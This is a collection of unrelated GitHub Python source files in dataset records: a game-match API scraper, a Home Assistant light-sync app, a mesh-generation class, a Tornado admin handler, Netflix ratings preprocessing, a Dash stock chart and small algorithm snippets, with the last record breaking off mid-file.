s.get(\"perk2Var1\"), s.get(\"perk2Var2\"), s.get(\"perk2Var3\"),\n s.get(\"perk3\"), s.get(\"perk3Var1\"), s.get(\"perk3Var2\"), s.get(\"perk3Var3\"),\n s.get(\"perkSubStyle\"),\n s.get(\"perk4\"), s.get(\"perk4Var1\"), s.get(\"perk4Var2\"), s.get(\"perk4Var3\"),\n s.get(\"perk5\"), s.get(\"perk5Var1\"), s.get(\"perk5Var2\"), s.get(\"perk5Var3\"),\n s.get(\"statPerk0\"), s.get(\"statPerk1\"), s.get(\"statPerk2\")\n ))\n except Exception as e:\n print(e)\n\n # commit current match data to db\n conn.commit()\n\n matches_inserted += 1\n\n # add participant account ids\n for participant in match_response_data[\"participantIdentities\"]:\n account_id = participant[\"player\"][\"accountId\"]\n account_ids.append(account_id)\n\n conn.close()\n\n\n@sleep_and_retry\n@limits(calls=RATE_LIMIT_CALLS, period=RATE_LIMIT_DURATION)\ndef call_api(url, headers):\n\n global count\n\n response = requests.get(url, headers=headers)\n if response.status_code != 200:\n # account id not found - probably old match and account id had been regenerated\n if response.status_code == 404 and MATCHLIST_BY_ACCOUNT_PATH in url:\n return None\n # try one more time after waiting on 503/504\n if response.status_code == 503 or response.status_code == 504:\n time.sleep(5)\n response = requests.get(url, headers=headers)\n else:\n raise Exception(url, \"failed with\", response.status_code)\n\n print(\"Call\",count)\n count += 1\n\n return response\n\n# helper method to check for nonetype and return zero\n# some response fields aren't available in arams\ndef zero_if_none(data):\n if data is None:\n return 0\n return data\n\n\n# some names\n# Smackadummy, Vivilyn, Khayame, Ricefoxx, Faliteran\n# Peng Yiliang, SentientAI, ASTROBOY99, Spica1, TSM Spica\nif __name__ == \"__main__\":\n get_matches(\"Peng Yiliang\")\n","repo_name":"iwong3/league-v2","sub_path":"data/get_matches.py","file_name":"get_matches.py","file_ext":"py","file_size_in_byte":21148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3783283730","text":"import appdaemon.plugins.hass.hassapi as hass\nimport time\nimport pprint\nimport datetime\n\n_TIMEOUT = 0\nLOG_LEVEL = \"DEBUG\"\n\nclass HassInterface:\n def __init__(self):\n self.turn_on = None\n self.turn_off = None\n self.log = None\n\nclass LightEntity():\n def __init__(self, id, interface, parent=None):\n self.id = id\n self.parent = parent\n self.brightness = 0\n \n self.interface = interface\n self._turn_on = interface.turn_on\n self._turn_off = interface.turn_off\n self._log = interface.log\n\n #self.updateBrightness()\n #self.target_brightness = self.brightness\n #self._blocked = False\n self.time = datetime.datetime.now() - datetime.timedelta(seconds=_TIMEOUT)\n\n def initialize(self):\n self.log('test test')\n\n # def updateBrightness(self):\n # self.brightness = (self.hassObj).get_state(entity_id=id, attribute='brightness')\n\n # def isSynced(self):\n # return (self.brightness == self.get_state(entity_id=self.id, attribute='brightness'))\n\n def setCurrentTime(self):\n self.log(\"Setting time to zero for: \" + self.id, level=\"DEBUG\")\n self.time = datetime.datetime.now()\n self.log(self.time, level=\"DEBUG\")\n\n def isTimedOut(self):\n seconds = (datetime.datetime.now() - self.time).total_seconds()\n self.log(self.id + ': ' + str(datetime.datetime.now()) + ' - ' + str(self.time) + ' = ' + str(seconds))\n if seconds >= _TIMEOUT:\n self.log('Timeout reached waiting for light to reach target value, proceeding', level=\"DEBUG\")\n return True\n else:\n self.log('Timeout not yet met (too soon), aborting', level=\"DEBUG\")\n return False\n\n # def isBlocked(self):\n # return self._blocked\n\n # def setBlocked(self):\n # self._blocked = True\n\n # def setUnblock(self):\n # self._blocked = False\n\n def isBlocked(self):\n if self.isTimedOut():\n return False\n return True\n\n def turnOn(self, brightness):\n # if ( brightness is None ) or ( brightness == 0 ):\n # #self.turn_on(self.id)\n # self.hassObj.log('log this ' + self.id)\n # self.hassObj.turn_off(self.id)\n \n # else:\n #self.turn_on(self.id, brightness=brightness)\n self._turn_on(self.id, brightness=brightness)\n\n def turnOff(self):\n self._turn_off(self.id)\n #self.turn_off(self.id)\n\n def handle(self, command, brightness):\n if self.isBlocked():\n return\n\n self.setCurrentTime()\n #self.parent.handle(command, brightness)\n\n if command == 'on':\n self.parent.turnOn(brightness)\n\n if command == 'off':\n self.parent.turnOff()\n\n # def isLocked(self):\n # return self._locked\n \n # def lock(self):\n # self._locked = True\n \n # def unlock(self):\n # self._locked = False\n \n def log(self, *args,**kwargs):\n self._log(*args,**kwargs)\n\n def __str__(self):\n return self.id\n\nclass LightGroup(LightEntity):\n def __init__(self, id, interface):\n super().__init__(id, interface)\n #self.id = id\n #self._locked = False\n #self.brightness = 255\n self.entities = []\n\n def addEntity(self, id):\n entity = LightEntity(id, self.interface, parent=self)\n self.entities.append(entity)\n \n def isSynced(self):\n #if not super().isSynced():\n # return False\n for entity in self.entities:\n if not entity.isSynced():\n return False\n return True\n\n def hasEntity(self, id):\n for entity in self.entities:\n if entity.id == id:\n return True\n return False\n \n # def lock(self):\n # super().lock()\n # for entity in self.entities:\n # entity.lock()\n \n # def unlock(self):\n # super().unlock()\n # for entity in self.entities:\n # entity.unlock()\n\n def handle(self, command, brightness):\n for entity in self.entities:\n entity.setCurrentTime()\n\n if command == 'on':\n self.log('LightGroup/handle on ' + self.id + ' ' + str(brightness), level=\"DEBUG\")\n self.turnOn(brightness=brightness)\n\n if command == 'off':\n self.turnOff()\n\n def __len__(self):\n return len(self.entities)\n\n def __iter__(self):\n return iter(self.entities)\n \n def __str__(self):\n s = str(self.id + '\\n')\n for entity in self.entities:\n s += (' Entity: ' + str(entity) + '\\n')\n return s\n\nclass LightGroups:\n def __init__(self):\n self.lightGroups = []\n self.allEntityNames = []\n self.allGroupNames = []\n\n def addGroup(self, group):\n self.lightGroups.append(group)\n self.allEntityNames += [x.id for x in group.entities]\n self.allGroupNames += group.id\n\n def getAllEntities(self, includeGroups=False):\n ret = self.allEntityNames\n if includeGroups:\n ret += self.allGroupNames\n return ret\n\n def getGroupByEntity(self, id):\n for group in self.lightGroups:\n if group.hasEntity(id):\n return group\n return None\n\n def getGroup(self, id):\n for group in self.lightGroups:\n if group.id == id:\n return group\n return None\n\n def getEntity(self, id):\n for group in self.lightGroups:\n for entity in group:\n if entity.id == id:\n return entity\n return None\n\n def __len__(self):\n return len(self.lightGroups)\n\n def __iter__(self):\n return iter(self.lightGroups)\n\n\nclass VirtualLightsSync(hass.Hass):\n\n def initialize(self):\n self.set_log_level(LOG_LEVEL)\n self.log(\"Light Switching App\")\n self.listen_event(self.handleStateChange, \"state_changed\")\n self.listen_event(self.handleCallService, \"call_service\")\n self.raw_groups = self.get_state(\"group\")\n self.lightGroups = LightGroups()\n \n self.hassFuncs = HassInterface()\n self.hassFuncs.turn_on = hass.Hass.turn_on\n self.hassFuncs.turn_off = hass.Hass.turn_off\n self.hassFuncs.log = hass.Hass.log\n\n for name, data in self.raw_groups.items():\n self.log(name + ' (' + data['attributes']['friendly_name'] + ')')\n ids = data['attributes']['entity_id']\n lightGroup = LightGroup(name, self)\n for id in ids:\n self.log(' ' + id)\n lightGroup.addEntity(id)\n #self.groups[name] = ids\n #self.all_entities += ids\n self.lightGroups.addGroup(lightGroup)\n \n self.log('All Entities:')\n self.log(self.lightGroups.getAllEntities())\n #self.log(pprint.pprint(self.groups))\n self.log('Initialization Complete')\n self.info()\n \n def info(self):\n self.log(\"Number of groups found: \" + str(len(self.lightGroups)))\n for group in self.lightGroups:\n self.log('LightGroup:\\n' + str(group))\n \n # def timeTest(self, arg):\n # self.log('end time test')\n # self.log(arg)\n \n # def checkBrightness(self, entity, target):\n # b = self.get_state(entity_id=entity, attribute='brightness')\n # self.log('checkBrightness entity ' + entity + ' ' + str(b))\n # return (b == target)\n \n def parseStateData(self, data):\n state = data['new_state']['state']\n try:\n brightness = str(data['new_state']['attributes']['brightness'])\n except KeyError:\n brightness = \"None\"\n return str(\"state: \" + state + \", brightness: \" + brightness)\n\n def handleStateChange(self, event_name, data, kwargs):\n # entity state changed\n if data['entity_id'] not in self.lightGroups.getAllEntities():\n return\n id = data['entity_id']\n self.log(\"state_changed event on entity: \" + id)\n #self.log(event_name, level=\"DEBUG\")\n self.log(self.parseStateData(data), level=\"DEBUG\")\n #self.log(kwargs, level=\"DEBUG\")\n \n # filter out non-physical button press state changes\n user = data['new_state']['context']['user_id']\n #self.log(\"user_id: \" + str(user), level=\"DEBUG\")\n if user is not None:\n self.log('state change has user (came from digital command, not physical). returning.')\n return\n \n state = data['new_state']['state'] # 'on' or 'off'\n try:\n target_brightness = data['new_state']['attributes']['brightness']\n except KeyError:\n target_brightness = 0\n\n entity = self.lightGroups.getEntity(id)\n if entity is None:\n self.log(\"error got null entity, returning\")\n return\n self.log(\"VirtualLightsSync/handleStateChange/entity.handle(), entity=\" + id + \\\n \", brightness=\" + str(target_brightness), level=\"DEBUG\")\n entity.handle(state, target_brightness)\n \n def handleCallService(self, event_name, data, kwargs):\n # group call service\n if not data['domain'] == 'light':\n return\n id = data['service_data']['entity_id']\n if id not in self.lightGroups.getAllEntities(includeGroups=False):\n return\n self.log(\"call_service event on: \" + id)\n #self.log(event_name, level=\"DEBUG\")\n self.log(data, level=\"DEBUG\")\n #self.log(kwargs, level=\"DEBUG\")\n service = data['service'].lstrip('turn_') # 'turn_on' or 'turn_off'\n brightness = 0\n if 'brightness' in data['service_data'].keys():\n brightness = data['service_data']['brightness']\n elif 'brightness_pct' in data['service_data'].keys():\n brightness_pct = data['service_data']['brightness_pct']\n brightness = brightness_pct * (255/100)\n else:\n self.log(\"No attributes brightness or brightness_pct found, \" + id)\n self.log(\"Is brigthness supposed to be zero?\")\n\n group = self.lightGroups.getGroupByEntity(id)\n if group is None:\n self.log(\"error got null group, returning.\")\n #raise\n return\n self.log(\"handleCallService groupEntity=\" + group.id, level=\"DEBUG\")\n # group = self.lightGroups.getGroup(id)\n # if group is None:\n # self.log(\"error got null group\")\n # #raise\n # return\n # self.log(\"handleCallService justGroup=\" + group.id, level=\"DEBUG\")\n self.log(\"VirtualLightsSync/handleCallService/group.handle(), group=\" + group.id, level=\"DEBUG\")\n group.handle(service, brightness)\n\n # def turnOff(self, id):\n # pass\n\n # def turnOn(self, id):\n # pass\n","repo_name":"davidkaplan/sol003_config","sub_path":"appdaemon/apps/lights.py","file_name":"lights.py","file_ext":"py","file_size_in_byte":10922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43013885790","text":"class Solution(object):\n def findSpecialInteger(self, arr):\n \"\"\"\n :type arr: List[int]\n :rtype: int\n \"\"\"\n if len(arr) == 1:\n return arr[0]\n i = 0\n currentVal = None\n currentValCnt = 0\n while i < len(arr):\n if arr[i] != currentVal:\n currentValCnt = 1\n currentVal = arr[i]\n else:\n currentValCnt += 1\n if currentValCnt > len(arr) / 4:\n return currentVal \n i+=1\n return None","repo_name":"SS4G/leetcode_2020","sub_path":"src/py/l1287.py","file_name":"l1287.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39301524564","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 4 13:04:47 2018\n\n@author: douden\n\"\"\"\n\n#from mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport matplotlib.pyplot as pyplot\nimport matplotlib.tri as tri\nimport matlab\nimport matlab.engine as me\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\n\ndef create_mesh(x,y,h):\n matlab_engine= me.start_matlab()\n x = matlab_engine.eval(np.array2string(x))\n y = matlab_engine.eval(np.array2string(y))\n h = matlab_engine.eval(np.array2string(h))\n matlab_engine.workspace['x'] = x\n matlab_engine.workspace['y'] = y\n matlab_engine.workspace['h'] = h\n matlab_engine.mesh_gen(nargout=0)\n elements = matlab_engine.workspace['elements']\n elements = np.array(elements).astype(int)\n edges = matlab_engine.workspace['edges']\n edges = np.array(edges).astype(int)\n points = matlab_engine.workspace['points']\n points = np.array(points) \n matlab_engine.quit()\n return elements, edges, points\n\n\ndef findedgesindices(edges, edgelist):\n edges.sort()\n indices = []\n for e in edges:\n i = e[0]\n while edgelist[i][0] < e[0]:\n i += e[0] - edgelist[i][0]\n while edgelist[i][0] == e[0]:\n if edgelist[i][1] == e[1]:\n break\n i += 1\n indices.append(i)\n return indices\n \n\n\nclass meshclass:\n def __init__(self, hstep,\n x = np.array([-1,1,1,-1]),\n y = np.array([-1,-1,1,1]) ):\n h = np.array(hstep)\n # check whether saved mesh exists\n file_str = \"h\"+np.array2string(h)+\"_x\"+np.array2string(x)+\"_y\"+np.array2string(y)+\".npz\"\n try:\n npzfile = np.load(file_str)\n print(\"Mesh does exist\\nLoading the mesh\")\n for key in npzfile.keys():\n exec(\"self.\"+ key + \" = npzfile[key]\")\n print(\"Mesh loaded\")\n except IOError:\n print(\"Mesh does not exist\\nCreating the mesh\")\n # create mesh, random numbers\n self.elements, self.edges, self.points = create_mesh(x,y,h)\n print(\"Saving the mesh\")\n np.savez(file_str, elements=elements,edges=edges,points=points)\n print(\"Mesh saved\")\n\n def plot(self):\n triang = tri.Triangulation(self.points[0,:], self.points[1,:],self.elements) \n \n pyplot.figure() # plot triangulation\n pyplot.gca().set_aspect('equal')\n pyplot.triplot(triang,'k-',lw=1)\n pyplot.title('Some mesh', fontsize = 15) \n pyplot.xlabel('$x$', fontsize = 20)\n pyplot.ylabel('$y$', fontsize = 20)\n pyplot.xticks(fontsize = 15)\n pyplot.yticks(fontsize = 15)\n pyplot.show()\n\n def plotz(self,zfun): # plots the level-set function as surface and as contours\n triang = tri.Triangulation(self.points[0,:], self.points[1,:],self.elements)\n z = zfun(self.points[0,:],self.points[1,:])\n \n pyplot.figure() # plots countours of some function zfun\n pyplot.gca().set_aspect('equal')\n pyplot.tricontourf(triang, z)\n pyplot.colorbar()\n pyplot.tricontour(triang,z,colors='k',levels=[-0.5,0,0.5])\n pyplot.title('Some contours', fontsize = 15) \n pyplot.xlabel('$x$', fontsize = 20)\n pyplot.ylabel('$y$', fontsize = 20)\n pyplot.xticks(fontsize = 15)\n pyplot.yticks(fontsize = 15)\n\n fig = pyplot.figure() # plot surface\n ax = fig.gca(projection='3d')\n ax.plot_trisurf(triang,z, cmap=pyplot.cm.CMRmap,alpha=0.75)\n pyplot.title('Some function', fontsize = 15) \n ax.set_xlabel('$x$', fontsize = 20)\n ax.set_ylabel('$y$', fontsize = 20)\n ax.set_zlabel('$z$',fontsize = 20)\n \n pyplot.show() # shows and saves plots\n fig.savefig('Trisurf_exact.svg', dpi=fig.dpi, bbox_inches = \"tight\")\n\n\n def findzero(self,z): # finds the location of the level-set curve:\n zeroelements = [] # the triangles of the mesh...\n zeroedges = [] # the edges of the mesh...\n zeroedgepoints = [] # the points of the edges of the mesh...which it intersects\n zeropoints = [] # the zero points of the level-set along the zeroedges\n levelsetedges = [] # the level-set curve through the zeroelement\n \n for e in self.edges: # finds zeroedges\n x1 = self.points[0,e[0]]\n y1 = self.points[1,e[0]]\n x2 = self.points[0,e[1]]\n y2 = self.points[1,e[1]]\n if z(x1,y1)*z(x2,y2)<0:\n zeroedges.append(e)\n## for p in [e[0],e[1]]: # lists the extremes of zeroedges\n## if zeroedgepoints == []:\n## zeroedgepoints.append(p)\n## else:\n## i=0\n## while p < zeroedgepoints[i]:\n## i+=1\n## if not p == zeroedgepoints[i]:\n## zeroedgepoints.insert(i+1,p)\n if x1 == x2: # finds the zeropoints along zeroedges\n x0 = x1\n else:\n x0 = x1+(x2-x1)*z(x1,y1)/(z(x1,y1)-z(x2,y2))\n if x0 > x1 and x0 > x2:\n x0 = max(x1,x2)\n elif x0 < x1 and x0 < x2:\n x0 = min(x1,x2)\n if y1 == y2:\n y0 = y1\n else:\n y0 = y1+(y2-y1)*z(x1,y1)/(z(x1,y1)-z(x2,y2))\n if y0 > y1 and y0 > y2:\n y0 = max(y1,y2)\n elif y0 < y1 and y0 < y2:\n y0 = min(y1,y2)\n zeropoints.append([x0,y0])\n\n for el in self.elements: # finds the zeroelements\n n = 0\n for e in zeroedges:\n if e[0] in el and e[1] in el:\n n+=1\n if n == 2:\n zeroelements.append(el)\n elif n == 1:\n z1 = z(self.points[0,el[0]],self.points[1,el[0]])\n z2 = z(self.points[0,el[1]],self.points[1,el[1]])\n z3 = z(self.points[0,el[2]],self.points[1,el[2]])\n if z1*z2*z3 == 0:\n zeroelements.append(el)\n if n > 2:\n print('------------error------------- too many zeroedges around element')\n \n for el in zeroelements: # finds the levelsetedges\n p = []\n for i in range(len(zeroedges)):\n if zeroedges[i][0] in el and zeroedges[i][1] in el:\n p.append(zeropoints[i])\n levelsetedges.append(p)\n\n self.zeroelements = zeroelements\n self.zeroedges = zeroedges\n self.zeroedgepoints = zeroedgepoints\n self.zeropoints = zeropoints\n self.levelsetedges = levelsetedges\n return\n\n def altfindzero(self,z): # finds the location of the level-set curve:\n self.zeroelements = [] # the triangles of the mesh...\n self.zeroedges = [] # the edges of the mesh...which the level-set curve passes through\n tempzeroedges = []\n self.zeropoints = [] # the zero points of the level-set along the zeroedges\n self.levelsetedges = [] # the level-set curve through the zeroelement\n\n for elem in self.elements:\n p1 = [self.points[0][elem[0]],self.points[1][elem[0]]]\n p2 = [self.points[0][elem[1]],self.points[1][elem[1]]]\n p3 = [self.points[0][elem[2]],self.points[1][elem[2]]]\n pxyarr = [p1,p2,p3]\n numzeroedges = 0\n for pair in [[0,1],[0,2],[1,2]]:\n x1 = pxyarr[pair[0]][0]\n y1 = pxyarr[pair[0]][1]\n x2 = pxyarr[pair[1]][0]\n y2 = pxyarr[pair[1]][1]\n if z(x1,y1)*z(x2,y2)<0: # finds the zeroedges\n tempzeroedges.append([min(elem[pair[0]],elem[pair[1]]),max(elem[pair[0]],elem[pair[1]])])\n numzeroedges += 1\n if x1 == x2: # finds the zeropoints along zeroedges\n x0 = x1\n else:\n x0 = x1+(x2-x1)*z(x1,y1)/(z(x1,y1)-z(x2,y2))\n if x0 > x1 and x0 > x2:\n x0 = max(x1,x2)\n elif x0 < x1 and x0 < x2:\n x0 = min(x1,x2)\n if y1 == y2:\n y0 = y1\n else:\n y0 = y1+(y2-y1)*z(x1,y1)/(z(x1,y1)-z(x2,y2))\n if y0 > y1 and y0 > y2:\n y0 = max(y1,y2)\n elif y0 < y1 and y0 < y2:\n y0 = min(y1,y2)\n self.zeropoints.append([x0,y0])\n \n if numzeroedges == 2: # finds the zeroelements\n self.zeroelements.append(elem)\n self.levelsetedges.append([self.zeropoints[-1],self.zeropoints[-2]])\n\n zeroedgeindices = findedgesindices(tempzeroedges,self.edges) # finds the indices of the zeroedges\n self.zeroedges = zeroedgeindices\n\n return\n\n def plotzeroz(self): # plots the mesh along with the zeroelements, edges and points\n triang = tri.Triangulation(self.points[0,:], self.points[1,:],self.elements) # ...found in findzero\n \n pyplot.figure()\n\n pyplot.gca().set_aspect('equal') # plot triangulation\n pyplot.triplot(triang,'k-',lw=1)\n pyplot.title('Some mesh', fontsize = 15) \n pyplot.xlabel('$x$', fontsize = 20)\n pyplot.ylabel('$y$', fontsize = 20)\n pyplot.xticks(fontsize = 15)\n pyplot.yticks(fontsize = 15)\n\n for el in self.zeroelements: # fill the zeroelements light grey\n x = [self.points[0,el[0]],self.points[0,el[1]],self.points[0,el[2]]]\n y = [self.points[1,el[0]],self.points[1,el[1]],self.points[1,el[2]]]\n pyplot.fill(x,y,'xkcd:light grey')\n for i in self.zeroedges: # plot the zeroedges red\n p1 = self.edges[i][0]\n p2 = self.edges[i][1]\n x = [self.points[0,p1],self.points[0,p2]]\n y = [self.points[1,p1],self.points[1,p2]]\n pyplot.plot(x,y,'r-',lw=1.2)\n for e in self.levelsetedges: # plot the levelsetedges blue\n x = [e[0][0],e[1][0]]\n y = [e[0][1],e[1][1]]\n pyplot.plot(x,y,'xkcd:bright blue')\n for p in self.zeropoints: # plot the zeropoints black\n pyplot.plot(p[0],p[1],'ko',markersize = 1.5)\n pyplot.show()\n\n \n \n \n\n","repo_name":"wdenhertog/Bachelor-Thesis","sub_path":"oldversions/meshingv1.py","file_name":"meshingv1.py","file_ext":"py","file_size_in_byte":10984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24146863490","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\n Filename: listname.py\n Author: baikl@smartbow.net\n\"\"\"\n\nimport tornado\n\nfrom tornado import gen\nfrom kpages import url,ContextHandler,LogicContext,get_context,service_async\nfrom logic import user,category,position,company,genre,experience,wage,province\nfrom logic.__init__ import BaseHandler\n\n\n@url(r'/admin/province')\nclass Province(BaseHandler):\n def get(self):\n size = 10\n page = int(self.get_argument('page',0))\n count = province.count()\n npage = count/size+1\n items = province.page(page,size)\n self.render('admin/province.html',page=page,npage=npage,provinces=items)\n\n@url(r'/admin/province_edit')\nclass Province_edit(BaseHandler):\n def get(self):\n self.render('admin/province_edit.html')\n\n def post(self):\n title = self.get_argument('province')\n provinces = province.insert(title)\n self.redirect('/admin/province')\n \n\n@url(r'/admin/province/alter')\nclass ProvinceAlter(BaseHandler):\n def get(self):\n _id = self.get_argument('_id')\n item = province.find_one(_id)\n self.render('admin/province_add.html',item=item)\n\n def post(self):\n _id = self.get_argument('_id')\n title = self.get_argument('province')\n province_update = province.update(_id,title=title)\n self.redirect('/admin/province')\n\n\n@url(r'/admin/province/del')\nclass ProvinceRemove(BaseHandler):\n def get(self):\n _id = self.get_argument('_id')\n prov_rm = province.remove(_id)\n self.redirect('/admin/province')\n\n","repo_name":"baikl/recruitment","sub_path":"web/admin/provice.py","file_name":"provice.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23667247250","text":"import numpy as np\n\n\ndef dist(start, goal):\n \"\"\"Manhattan distance from start to goal.\n\n Args:\n start Tuple[int,int]: xy coordinates of start position.\n goal Tuple[int,int]: xy coordinates of goal position.\n\n \"\"\"\n return np.abs(start[0] - goal[0]) + np.abs(start[1] - goal[1])\n\n\ndef make_graph(grid):\n v = set()\n e = {}\n for i in range(grid.shape[0]):\n for j in range(grid.shape[1]):\n e[(i, j)] = set()\n for i in range(grid.shape[0]):\n for j in range(grid.shape[1]):\n if grid[i, j] == 0:\n # no agent is present\n del e[(i, j)]\n continue\n v.add((i, j))\n # check agent to the right\n ni = i + 1\n nj = j\n if 0 <= ni < grid.shape[0]:\n if grid[ni, nj] == 1:\n e[(i, j)].add((ni, nj))\n e[(ni, nj)].add((i, j))\n # check agent to the left\n ni = i - 1\n nj = j\n if 0 <= ni < grid.shape[0]:\n if grid[ni, nj] == 1:\n e[(i, j)].add((ni, nj))\n e[(ni, nj)].add((i, j))\n # check agent on the top\n ni = i\n nj = j + 1\n if 0 <= nj < grid.shape[1]:\n if grid[ni, nj] == 1:\n e[(i, j)].add((ni, nj))\n e[(ni, nj)].add((i, j))\n # check agent below\n ni = i\n nj = j - 1\n if 0 <= nj < grid.shape[1]:\n if grid[ni, nj] == 1:\n e[(i, j)].add((ni, nj))\n e[(ni, nj)].add((i, j))\n return v, e\n\n\ndef lower_degrees(v, e):\n deg = []\n for key in e:\n d = len(e[key])\n deg.append((d, key))\n if len(deg) == 0:\n return v, e\n DEGREE = 0\n VERTEX = 1\n TOP = 0\n deg = sorted(deg, key=lambda x: x[DEGREE], reverse=True)\n while deg[TOP][DEGREE] > 1:\n top_vertex = deg[TOP][VERTEX]\n edges = e[top_vertex]\n top_degree, top_edge = sorted([(len(e[edge]), edge) for edge in edges], key=lambda x: x[DEGREE], reverse=True)[\n TOP]\n e[top_vertex].remove(top_edge)\n e[top_edge].remove(top_vertex)\n deg = []\n for key in e:\n d = len(e[key])\n deg.append((d, key))\n deg = sorted(deg, key=lambda x: x[DEGREE], reverse=True)\n return v, e\n\n\ndef show_pairs(v, e):\n cnt = 1\n pairs = []\n for key in list(v):\n if len(e[key]) > 0:\n i, j = key\n ni, nj = e[key].pop()\n pairs.append(((i, j), (ni, nj)))\n cnt += 1\n return pairs\n\n\ndef pair_positions(grid):\n v, e = make_graph(grid)\n v, e = lower_degrees(v, e)\n return show_pairs(v, e)\n","repo_name":"bumbac/MT","sub_path":"src/roommodel/utils/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13539964847","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pyspark\nfrom pyspark.mllib.recommendation import ALS, MatrixFactorizationModel, Rating\nfrom datetime import datetime\n\n\ndf1 = pd.read_csv('../dataset/netflix_kaggle/combined_data_1.txt', header = None, names=['user_id','rating'], usecols=[0,1])\n# print('part 1 shape')\n# print(df1.shape)\n# print(\"top 10 rows\")\nprint(df1.head(10))\n\n\n# df2 = pd.read_csv('../dataset/netflix_kaggle/combined_data_2.txt', header = None, names=['user_id','rating'], usecols=[0,1])\n# print('part 2 shape')\n# print(df2.shape)\n# print(\"top 10 rows\")\n# print(df2.head(10))\n\n\n# df3 = pd.read_csv('../dataset/netflix_kaggle/combined_data_3.txt', header = None, names=['user_id','rating'], usecols=[0,1])\n# print('part 3 shape')\n# print(df3.shape)\n# print(\"top 10 rows\")\n# print(df3.head(10))\n\n# df4 = pd.read_csv('../dataset/netflix_kaggle/combined_data_4.txt', header = None, names=['user_id','rating'], usecols=[0,1])\n# print('part 4 shape')\n# print(df4.shape)\n# print(\"top 10 rows\")\n# print(df4.head(10))\n\n\n#Check if the Rating column is null, if so it means it is 'movie id' row, count them \nmovie_count = df1.isnull().sum()[1]\n# print('number of movies in part_1 : {}'.format(movie_count))\n\n#Count number of rows and subtract movies's count \n# print('number of Users in part_1 : {}'.format(df1['user_id'].nunique() - movie_count))\n\n#count total number of observations\n# num_observations = df1['user_id'].count() - movie_count\n# print('number of observations in part_1 : {}'.format(num_observations))\n\n# trying to see the uniformity in the data\n# print(df1.groupby('rating').count() * 100 / num_observations)\n\n\n\n# Need to remove ID from rows and put into a column\ndf_nan = pd.DataFrame(pd.isnull(df1.rating))\ndf_nan = df_nan[df_nan['rating'] == True]\nprint(df_nan.shape)\n\n\n# create a single array with movie id - size ( difference of index) and value ( 1,2,3 etc)\nmovie_np = []\n\n# movie_id = 13368\n\n# for i, j in zip(df_nan.index[1:], df_nan.index[:-1]):\n# \t# print(i,\n# \ttemp_arr = np.full((1,i-j-1), movie_id)\n# \tmovie_np = np.append(movie_np, temp_arr)\n# \tmovie_id += 1\n\n# print(df_nan.iloc[-1, 0])\n\n\ndf1 = df1[pd.notnull(df1['rating'])]\n# Add the movie_id column\ndf1['movie_id'] = movie_np.astype(int)\ndf1['user_id'] = df1['user_id'].astype(int)\nprint(df1.columns)\n\n\nprint(df1.iloc[::5000000,:])\n\n\n\nnew_cols = df1.columns.tolist()\nnew_cols = new_cols[:1]+ new_cols[-1:]+new_cols[1:2]\n\ndf1 = df1[new_cols]\n\nprint(\"persist the processed file.. \")\n\ndf1.to_csv(\"processed_part4.txt\", encoding='utf-8', index=False)\n\n# Here we bring data into the forma of a matrix\ndf_p = pd.pivot_table(df1,values='rating', index='movie_id', columns='user_id')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# conf = pyspark.SparkConf()\n# conf.set(\"spark.driver.maxResultSize\", \"4g\")\n# conf.set(\"spark.driver.memory\",\"4g\")\n# sc = pyspark.SparkContext(conf=conf)\n\n\n\n\n# data = sc.textFile(\"all_4_train.txt\")\n# print(\"!!files was loaded!!\")\n\n","repo_name":"sevmardi/ml-benchmark","sub_path":"netflix/solution_3/kaggle.py","file_name":"kaggle.py","file_ext":"py","file_size_in_byte":2953,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28271069274","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nfrom pandas_datareader import data as pdr\nimport datetime as dt\n\napp = dash.Dash()\n\nstart = dt.datetime(2019, 1, 1)\nend = dt.datetime.now()\nprint (\"Start Date:\", start)\nprint (\"End Date:\", end)\nstock = \"TSLA\" #all caps\ndf = pdr.DataReader(stock , 'iex', start, end)\n# df.reset_index(inplace=False)\nprint(df.head())\n\napp.layout = html.Div(children=[\n html.H1(children='Stock Graph'),\n\n html.Div(children='''\n Making a stock graph!.\n '''),\n\n dcc.Graph(\n id='example-graph',\n figure={\n 'data': [\n {'x': df.index, 'y': df.close, 'type': 'line', 'name': stock},\n ],\n 'layout': {\n 'title': stock\n }\n }\n )\n])\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","repo_name":"sgnajar/dash-visualization","sub_path":"stock-market-v1.py","file_name":"stock-market-v1.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32955179551","text":"import numpy as np, pandas as pd \nimport math \n\n\ndef getData(s):\n return pd.read_csv(open(s, 'r'))\n\ndef isContinous(featureVal):\n return (isinstance(featureVal,np.integer) or isinstance(featureVal,np.float))\n\n\n#destructively split training data into 4 quantiles(0,0.25,0.5,0.75,1) and then split test data accordingly \ndef discretize(traindata,testdata,split=4):\n for colName in traindata.columns[:-1]:\n if traindata[colName].unique().size<10:\n continue\n if isContinous(traindata[colName].values[0]):\n ser1,trainbins=pd.qcut(traindata[colName],split,retbins=True)\n trainbins[0],trainbins[split]=0.0,5000.0\n traindata[colName]=pd.cut(traindata[colName],bins=trainbins,include_lowest=True)\n testdata[colName]=pd.cut(testdata[colName],bins=trainbins,include_lowest=True)\n return traindata,testdata\n\n#shuffle the rows in 